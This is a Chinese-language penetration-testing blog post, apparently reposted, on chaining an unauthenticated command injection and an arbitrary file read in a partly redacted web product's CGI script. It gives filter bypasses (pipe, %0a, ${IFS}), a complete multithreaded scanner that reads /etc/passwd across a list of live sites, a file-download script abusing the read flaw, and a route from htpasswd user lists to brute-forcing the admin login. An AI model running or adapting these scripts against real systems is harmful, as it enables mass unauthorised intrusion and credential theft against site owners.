文章总结: 文档详述了针对某系统的通用漏洞挖掘与深度利用过程。作者首先发现未授权命令注入漏洞,利用管道符与${IFS}绕过限制;随后发现任意文件读取漏洞并编写批量检测脚本。通过组合利用这两个漏洞,下载源码并分析配置文件获取后台用户名,最终成功爆破登录后台,展示了从边界突破到深入内网的完整渗透链条。 综合评分: 83 文章分类: 渗透测试,漏洞分析,实战经验,漏洞POC,WEB安全
通用漏挖-深度利用方法论
原创
Vlan911 Vlan911
我不懂安全
2026年3月11日 08:01 北京
年前的时候偶然看到了一个漏洞,是未授权的命令注入漏洞,然后尝试搜索了下还有没有其他已经公布出来的漏洞,发现并没有,于是就收集了下相关案例,发现并不是所有的在线站都存在这个问题
随便写了个脚本简单的跑了下,发现有一部分站点还是存在这个漏洞的,看了下相关代码
代码很简洁,直接通过前端获取host参数,然后使用passthru函数去调用系统命令去执行ping功能或者nslookup功能,但是没看见他在哪里过滤的,经过简单测试发现使用常规的;符号进行注入不太行
但是使用|、%0a、%0b这种是可以的
并且这里不支持空格、+、%20这种,但是可以通过${IFS}之类的进行绕过
正好看到了downxxxxxr.php文件,于是看了下内容,发现这里存在任意文件读取漏洞
小小的尝试了一下,无效打码
写了个poc,简单的跑了下,发现只要活着的站就都存在这个问题,下面是简单的测试poc
#!/usr/bin/env python3# -*- coding: utf-8 -*-"""xx任意文件读取漏洞检测脚本默认并发数:5从url.txt读取URL,检测到漏洞时写入vulnerable.txt"""
import requestsfrom concurrent.futures import ThreadPoolExecutor, as_completedimport threadingfrom urllib3.exceptions import InsecureRequestWarningimport time
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
VULN_URLS = [] lock = threading.Lock()
def test_vulnerability(target_url): """ 测试单个目标是否存在任意文件读取漏洞 """ if not target_url.startswith(('http://', 'https://')): target_url = 'http://' + target_url
vuln_url = target_url + "/cgi-bin/downlxxxx.php?file=/etc/passwd"
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0', 'Content-Type': 'application/x-www-form-urlencoded', }
try: response = requests.get( url=vuln_url, headers=headers, verify=False, timeout=10 )
if (response.status_code == 200 and 'contec:' in response.text):
print(f"[+] 发现漏洞: {vuln_url}")
with lock: if vuln_url not in VULN_URLS: VULN_URLS.append(vuln_url) with open('vulnerable.txt', 'a', encoding='utf-8') as f: f.write(f"{vuln_url}\n")
return True, vuln_url else: print(f"[-] 未发现漏洞: {target_url} (状态码: {response.status_code})") return False, target_url
except requests.exceptions.RequestException as e: print(f"[!] 请求失败 {target_url}: {str(e)}") return False, target_url except Exception as e: print(f"[!] 未知错误 {target_url}: {str(e)}") return False, target_url
def load_targets_from_file(filename): """ 从文件加载目标URL列表 """ try: with open(filename, 'r', encoding='utf-8') as f: targets = [line.strip() for line in f if line.strip()] return targets except FileNotFoundError: print(f"[!] 文件 {filename} 不存在") return [] except Exception as e: print(f"[!] 读取文件失败: {str(e)}") return []
def main(): """ 主函数 """ with open('vulnerable.txt', 'w', encoding='utf-8') as f: f.write("# 存在任意文件读取漏洞的URL列表\n") f.write("# 生成时间: " + time.strftime("%Y-%m-%d %H:%M:%S") + "\n\n")
filename = 'url.txt' targets = load_targets_from_file(filename) if not targets: print("[!] 没有有效的目标URL,程序退出") return
print(f"[+] 从 {filename} 加载了 {len(targets)} 个目标URL") print(f"[+] 开始测试,并发数: 5") print("-" * 50)
start_time = time.time() success_count = 0
with ThreadPoolExecutor(max_workers=5) as executor:
future_to_url = {executor.submit(test_vulnerability, url): url for url in targets}
for future in as_completed(future_to_url): url = future_to_url[future] try: is_vulnerable, result_url = future.result() if is_vulnerable: success_count += 1 except Exception as e: print(f"[!] 处理 {url} 时发生异常: {str(e)}")
end_time = time.time()
print("\n" + "=" * 50) print(f"[*] 测试完成!") print(f"[*] 总耗时: {end_time - start_time:.2f} 秒") print(f"[*] 测试目标: {len(targets)} 个") print(f"[*] 发现漏洞: {success_count} 个") print(f"[*] 漏洞URL已保存到: vulnerable.txt")
if VULN_URLS: print(f"\n[+] 发现的漏洞URL列表:") for i, url in enumerate(VULN_URLS, 1): print(f" {i}. {url}")
if __name__ == "__main__": main()
因为可以用RCE去读目录,所以知道都有哪些我需要的文件,那么就可以写一个脚本把他的文件都拉下来,虽然是任意文件读取,但是实际上是可以通过手法拿到本地的,下面的脚本是个例子
#!/usr/bin/env python3import requestsimport argparseimport os
files = ["alerxxxx.rdf","downlxxxx.php"]
def download(base_url): save_dir = "downloads" os.makedirs(save_dir, exist_ok=True)
for f in files: url = f"{base_url}/cgi-bin/downxxxx.php?file={f}" try: print(f"[+] Fetching: {url}") r = requests.get(url, timeout=10)
if r.status_code == 200 and r.content: path = os.path.join(save_dir, f) with open(path, "wb") as fp: fp.write(r.content) print(f"[+] Saved -> {path}") else: print(f"[-] Failed ({r.status_code})")
except Exception as e: print(f"[!] Error: {e}")
def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", required=True, help="target url like http://target/cgi-bin/downxxxx.php") args = parser.parse_args()
download(args.u)
if __name__ == "__main__": main()
因为里面的东西不多,所以看不到啥有用的未授权,想进一步但是没有登录权限,又不知道有啥用户,所以巴拉代码,本来以为是通过数据库进行认证,直到发现这个文件
原来是apache的认证模式,所以密码实际上存储在/usr/local/apache/bin/htpasswd -b /usr/apache/.pass
但是密码是hash的,没有办法解开,但是拿到了用户列表,所以可以直接去爆破
成功登录到后边,后边的就不展示了,进入到后台就可以对需要认证的漏洞进行挖掘或者利用了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:我不懂安全 Vlan911 Vlan911《通用漏挖-深度利用方法论》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论